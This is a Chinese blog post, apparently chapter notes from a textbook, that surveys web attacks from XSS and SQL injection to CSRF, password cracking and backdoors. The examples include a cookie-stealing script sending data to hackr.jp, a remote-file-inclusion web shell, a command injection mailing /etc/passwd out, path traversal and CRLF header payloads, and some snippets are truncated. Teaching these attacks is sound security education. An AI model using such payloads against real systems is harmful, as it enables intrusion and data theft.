HTTP 0x11 Web 的攻击技术

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/qq_38375620/article/details/88816806

HTTP 不具备必要的安全功能

HTTP 就是一个通用的单纯协议机制。

远程登录时会用到的 SSH 协议,SSH 具备协议级别的认证及会话管理等功能,HTTP 协议则没有。另外在架设 SSH 服务方面,任何人都可以轻易地创建安全等级高的服务,而 HTTP 若想提供服务器基础上的 Web 应用,很多情况下都需要重新开发。

在客户端即可篡改请求

针对 Web 应用的攻击模式


主动攻击
被动攻击
 
以服务器为目标的主动攻击
主动攻击(active attack)是指攻击者通过直接访问 Web 应用,把攻击代码传入的攻击模式。由于该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问到那些资源。主动攻击模式里具有代表性的攻击是 SQL 注入攻击和 OS 命令注入攻击。

以服务器为目标的被动攻击
被动攻击(passive attack)是指利用圈套策略执行攻击代码的攻击模式。在被动攻击过程中,攻击者不直接对目标 Web 应用访
问发起攻击。
被动攻击通常的攻击模式如下所示:
步骤 1: 攻击者诱使用户触发已设置好的陷阱,而陷阱会启动发送已嵌入攻击代码的 HTTP 请求。
步骤 2: 当用户不知不觉中招之后,用户的浏览器或邮件客户端就会触发这个陷阱。
步骤 3: 中招后的用户浏览器会把含有攻击代码的 HTTP 请求发送给作为攻击目标的 Web 应用,运行攻击代码。
步骤 4: 执行完攻击代码,存在安全漏洞的 Web 应用会成为攻击者的跳板,可能导致用户所持的 Cookie 等个人信息被窃取,登录状态中的用户权限遭恶意滥用等后果。被动攻击模式中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造。

因输出值转义不完全引发的安全漏洞


实施 Web 应用的安全对策可大致分为以下两部分:
客户端的验证
Web 应用端(服务器端)的验证:
    输入值验证
    输出值转义

多数情况下采用 JavaScript 在客户端验证数据。可是在客户端允许篡改数据或关闭 JavaScript,不适合将 JavaScript 验证作为安全的防范对策。保留客户端验证只是为了尽早地辨识输入错误,起到提高 UI体验的作用。
Web 应用端的输入值验证按 Web 应用内的处理则有可能被误认为是具有攻击性意义的代码。输入值验证通常是指检查是否是符合系统业务逻辑的数值或检查字符编码等预防对策。
从数据库或文件系统、HTML、邮件等输出 Web 应用处理的数据之际,针对输出做值转义处理是一项至关重要的安全策略。当输出值转义不完全时,会因触发攻击者传入的攻击代码,而给输出对象带来损害。

跨站脚本攻击


跨站脚本攻击(Cross-Site Scripting,XSS)是指通过存在安全漏洞的Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JavaScript 进行的一种攻击。动态创建的 HTML 部分有可能隐藏着安全漏洞。

跨站脚本攻击有可能造成以下影响:
利用虚假输入表单骗取用户个人信息。
利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下,
帮助攻击者发送恶意请求。
显示伪造的文章或图片。


在动态生成 HTML 处发生

http://example.jp/login?ID="><script>var+f=document.getElementById("login");++f.action="h
</script><span+s=" 对请求时对应的HTML源代码(摘录)

对用户 Cookie 的窃取攻击

<script src=http://hackr.jp/xss.js></script>
即下面这段采用JavaScript 编写的代码。
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");

SQL 注入攻击

SQL 注入(SQL Injection)是指针对 Web 应用使用的数据库,通过运行非法的 SQL 而产生的攻击。

SQL 注入攻击有可能会造成以下等影响:
非法查看或篡改数据库内的数据
规避认证
执行和数据库服务器业务关联的程序等

SQL
SQL 是用来操作关系型数据库管理系统(Relational DataBaseManagement System,RDBMS)的数据库语言,可进行操作数据或定义数据等。

OS 命令注入攻击


OS 命令注入攻击(OS Command Injection)是指通过 Web 应用,执行非法的操作系统命令达到攻击的目的。只要在能调用 Shell 函数的地方就有存在被攻击的风险。

下面摘选处理该表单内容的一部分核心代码。
my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: [email protected]\n";

可见,sendmail 命令执行被分隔后,接下去就会执行 cat/etc/passwd | mail [email protected] 这样的命令了。结果,含有Linux 账户信息 /etc/passwd 的文件,就以邮件形式发送给了[email protected]

HTTP 首部注入攻击


HTTP 首部注入攻击(HTTP Header Injection)是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击。属于被动攻击模式。
向首部主体内添加内容的攻击称为 HTTP 响应截断攻击(HTTPResponse Splitting Attack)。

HTTP 首部注入攻击有可能会造成以下一些影响:
设置任何 Cookie 信息
重定向至任意 URL
显示任意的主体(HTTP 响应截断攻击)

HTTP 首部注入攻击示例
攻击者以下面的内容替代之前的类别 ID 后发送请求。
101%0D%0ASet-Cookie:+SID=123456789
其中,%0D%0A 代表 HTTP 报文中的换行符,紧接着的是可强制将攻击者网站(http://hackr.jp/)的会话 ID 设置成
SID=123456789 的 Set-Cookie 首部字段。
发送该请求之后,假设结果返回以下响应。
Location: http://example.com/?cat=101(%0D%0A :换行符)
Set-Cookie: SID=123456789
此刻,首部字段 Set-Cookie 已生效,因此攻击者可指定修改任意的 Cookie 信息。通过和会话固定攻击(攻击者可使用指定的会话 ID)攻击组合,攻击者可伪装成用户。

攻击者输入的 %0D%0A,原本应该属于首部字段 Location 的查询值部分,但经过解析后,%0D%0A 变成了换行符,结果插入了新的首部字段。这样一来,攻击者可在响应中插入任意的首部字段。

HTTP 响应截断攻击

HTTP 响应截断攻击是用在 HTTP 首部注入的一种攻击。攻击顺序相同,但是要将两个 %0D%0A%0D%0A 并排插入字符串后发
送。利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击目的。这样的攻击叫做 HTTP 响应截断攻击。
%0D%0A%0D%0A<HTML><HEAD><TITLE>之后,想要显示的网页内容 <!--
在可能进行 HTTP 首部注入的环节,通过发送上面的字符串,返回结果得到以下这种响应。
Set-Cookie: UID=(%0D%0A :换行符)
(%0D%0A :换行符)
<HTML><HEAD><TITLE>之后,想要显示的网页内容 <!--(原来页面对应的首部字
利用这个攻击,已触发陷阱的用户浏览器会显示伪造的 Web 页面,再让用户输入自己的个人信息等,可达到和跨站脚本攻击相
同的效果。
滥用 HTTP/1.1 中汇集多响应返回功能,会导致缓存服务器对任意内容进行缓存操作。这种攻击称为缓存污染。

邮件首部注入攻击


邮件首部注入(Mail Header Injection)是指 Web 应用中的邮件发送功能,攻击者通过向邮件首部 To 或 Subject 内任意添加非法内容发起的攻击。利用存在安全漏洞的 Web 网站,可对任意邮件地址发送广告邮件或病毒邮件。
攻击者将以下数据作为邮件地址发起请求。
[email protected]%0D%0ABcc: [email protected]
%0D%0A 在邮件报文中代表换行符。一旦咨询表单所在的 Web应用接收了这个换行符,就可能实现对 Bcc 邮件地址的追加发送,而这原本是无法指定的。
另外像下面一样,使用两个连续的换行符就有可能篡改邮件文本内容并发送。
[email protected]%0D%0A%0D%0ATest Message
再以相同的方法,就有可能改写 To 和 Subject 等任意邮件首部,或向文本添加附件等动作。

目录遍历攻击


目录遍历(Directory Traversal)攻击是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。这种攻击有时也称为路径遍历(Path Traversal)攻击。
通过 Web 应用对文件处理操作时,在由外部指定文件名的处理存在疏漏的情况下,用户可使用 .../ 等相对路径定位到 /etc/passed 等绝对路径上,因此服务器上任意的文件或文件目录皆有可能被访问到。

下面以显示读取文件功能为例,讲解目录遍历攻击。该功能通过以下查询字段,指定某个文件名。然后从 /www/log/ 文件目录下读取这个指定的文件。
http://example.com/read.php?log=0401.log
攻击者设置如下查询字段后发出请求。
http://example.com/read.php?log=../../etc/passwd
查询字段为了读取攻击者盯上的 /etc/passwd 文件,会从/www/log/ 目录开始定位相对路径。如果这份 read.php 脚本接受对指定目录的访问请求处理,那原本不公开的文件就存在可被访问的风险。

远程文件包含漏洞


远程文件包含漏洞(Remote File Inclusion)是指当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的 URL 充当依赖文件,让脚本读取之后,就可运行任意脚本的一种攻击。

对应脚本的源代码如下所示。
http://example.com/foo.php 的源代码(部分摘录)
$modname = $_GET['mod'];
include($modname);
攻击者指定如同下面形式的 URL 发出请求。
http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=ls
攻击者已事先在外部服务器上准备了以下这段脚本。
http://hackr.jp/cmd.php 的源代码
<? system($_GET['cmd']) ?>
Web 服务器(example.com)的 include 可以引入外部服务器的 URL,那就会读入攻击者在外部服务器上事先准备URL(http://hackr.jp/cmd.php)。

因设置或设计上的缺陷引发的安全漏洞

强制浏览
强制浏览(Forced Browsing)安全漏洞是指,从安置在 Web 服务器的公开目录下的文件中,浏览那些原本非自愿公开的文件。
强制浏览有可能会造成以下一些影响:
泄露顾客的个人信息等重要情报
泄露原本需要具有访问权限的用户才可查阅的信息内容
泄露未外连到外界的文件

容易被推测的文件名及目录名

http://www.example.com/entry/entry_081202.log
文件名称容易推测(按上面的情况,可推出下一个文件是entry_081203.log)
备份文件
http://www.example.com/cgi-bin/entry.cgi(原始文件)
http://www.example.com/cgi-bin/entry.cgi~(备份文件)
http://www.example.com/cgi-bin/entry.bak(备份文件)
<img src="http://example.com/img/tRNqSUBdG7Da.jpg">
即使没有对这篇日记的访问权限,只要知道这图片的 URL,通过直接指定 URL 的方式就能显示该图片。日记的功能和文本具有访问对象的控制,但不具备对图片访问对象的控制,从而产生了安全漏洞。

不正确的错误消息处理


不正确的错误消息处理(Error Handling Vulnerability)的安全漏洞是指,Web 应用的错误信息内包含对攻击者有用的信息。


Web 应用抛出的错误消息


Web 应用不必在用户的浏览画面上展现详细的错误消息。对攻击者来说,详细的错误消息有可能给他们下一次攻击以提示。为了不让错误消息给攻击者以启发,建议将提示消息的内容仅保留到“认证错误”这种程度即可。

数据库等系统抛出的错误消息

攻击者从消息中可读出数据库选用的是 MySQL,甚至还看见了 SQL 语句的片段。这可能给攻击者进行 SQL 注入攻击以启发。
系统抛出的错误主要集中在以下几个方面:
PHP 或 ASP 等脚本错误
数据库或中间件的错误
Web 服务器的错误

开放重定向


开放重定向(Open Redirect)是一种对指定的任意 URL 作重定向跳转的功能。而于此功能相关联的安全漏洞是指,假如指定的重定向 URL到某个具有恶意的 Web 网站,那么用户就会被诱导至那个 Web 网站。

该功能就是向 URL 指定参数后,使本来的 URL 发生重定向跳转。
http://example.com/?redirect=http://www.tricorder.jp

因会话管理疏忽引发的安全漏洞

会话劫持
会话劫持(Session Hijack)是指攻击者通过某种手段拿到了用户的会话 ID,并非法使用此会话 ID 伪装成用户,达到攻击的目的。

几种攻击者可获得会话 ID 的途径。
通过非正规的生成方法推测会话 ID
通过窃听或 XSS 攻击盗取会话 ID
通过会话固定攻击(Session Fixation)强行获取会话 ID

会话固定攻击


对以窃取目标会话 ID 为主动攻击手段的会话劫持而言,会话固定攻击(Session Fixation)攻击会强制用户使用攻击者指定的会话 ID,属于被动攻击。

跨站点请求伪造

跨站点请求伪造(Cross-Site Request Forgeries,CSRF)攻击是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。
跨站点请求伪造有可能会造成以下等影响:
利用已通过认证的用户权限更新设定信息等
利用已通过认证的用户权限购买商品
利用已通过认证的用户权限在留言板上发表言论

密码破解


密码破解攻击(Password Cracking)即算出密码,突破认证。攻击不仅限于 Web 应用,还包括其他的系统(如 FTP 或 SSH 等)
密码破解有以下两种手段:
通过网络的密码试错
对已加密密码的破解(指攻击者入侵系统,已获得加密或散列处理的密码数据的情况)


除去突破认证的攻击手段,还有 SQL 注入攻击逃避认证,跨站脚本攻击窃取密码信息等方法。


通过网络进行密码试错


对 Web 应用提供的认证功能,通过网络尝试候选密码进行的一种攻击。主要有以下两种方式。
穷举法
穷举法(Brute-force Attack,又称暴力破解法)是指对所有密钥集合构成的密钥空间(Keyspace)进行穷举。即,用所有可行的候选密码对目标的密码系统试错,用以突破验证的一种攻击。

字典攻击
字典攻击是指利用事先收集好的候选密码(经过各种组合方式后存入字典),枚举字典中的密码,尝试通过认证的一种攻击手法。

利用别处泄露的 ID·密码进行攻击
字典攻击中有一种利用其他 Web 网站已泄露的 ID 及密码列表进行的攻击。很多用户习惯随意地在多个 Web 网站使用同一套 ID 及密码,因此攻击会有相当高的成功几率 1 。

对已加密密码的破解


Web 应用在保存密码时,一般不会直接以明文的方式保存,通过散列函数做散列处理或加 salt 的手段对要保存的密码本身加密。那即使攻击者使用某些手段窃取密码数据,如果想要真正使用这些密码,则必须先通过解码等手段,把加密处理的密码还原成明文形式。

从加密过的数据中导出明文通常有以下几种方法:
1. 通过穷举法·字典攻击进行类推

针对密码使用散列函数进行加密处理的情况,采用和穷举法或字典攻击相同的手法,尝试调用相同的散列函数加密候选密码,然后把计算出的散列值与目标散列值匹配,类推出密码。


2. 彩虹表

彩虹表(Rainbow Table)是由明文密码及与之对应的散列值构成的一张数据库表,是一种通过事先制作庞大的彩虹表,可在穷举法 • 字典攻击等实际破解过程中缩短消耗时间的技巧。从彩虹表内搜索散列值就可以推导出对应的明文密码。


3. 拿到密钥

使用共享密钥加密方式对密码数据进行加密处理的情况下,如果能通过某种手段拿到加密使用的密钥,也就可以对密码数据解密了


4. 加密算法的漏洞

考虑到加密算法本身可能存在的漏洞,利用该漏洞尝试解密也是一种可行的方法。

点击劫持


点击劫持(Clickjacking)是指利用透明的按钮或链接做成陷阱,覆盖在 Web 页面之上。然后诱使用户在不知情的情况下,点击那个链接访问内容的一种攻击手段。这种行为又称为界面伪装(UIRedressing)。

iframe 页面中使用透明可点击按钮的示例
<iframe id="target" src="http://sns.example.jp/leave" style="opaci
<button style="position:absolute;top:100;left:100;z-index:-1">PLAY


DoS 攻击


DoS 攻击(Denial of Service attack)是一种让运行中的服务呈停止状态的攻击。有时也叫做服务停止攻击或拒绝服务攻击。DoS 攻击的对象不仅限于 Web 网站,还包括网络设备及服务器等。
主要有以下两种 DoS 攻击方式:
集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也就呈停止状态。
通过攻击安全漏洞使服务停止。

多台计算机发起的 DoS 攻击称为 DDoS 攻击(Distributed Denial ofService attack)。DDoS 攻击通常利用那些感染病毒的计算机作为攻击者的攻击跳板。

后门程序


后门程序(Backdoor)是指开发设置的隐藏入口,可不按正常步骤使用受限功能。利用后门程序就能够使用原本受限制的功能。
通常的后门程序分为以下 3 种类型:
开发阶段作为 Debug 调用的后门程序
开发者为了自身利益植入的后门程序
攻击者通过某种方法设置的后门程序

猜你喜欢

转载自blog.csdn.net/qq_38375620/article/details/88816806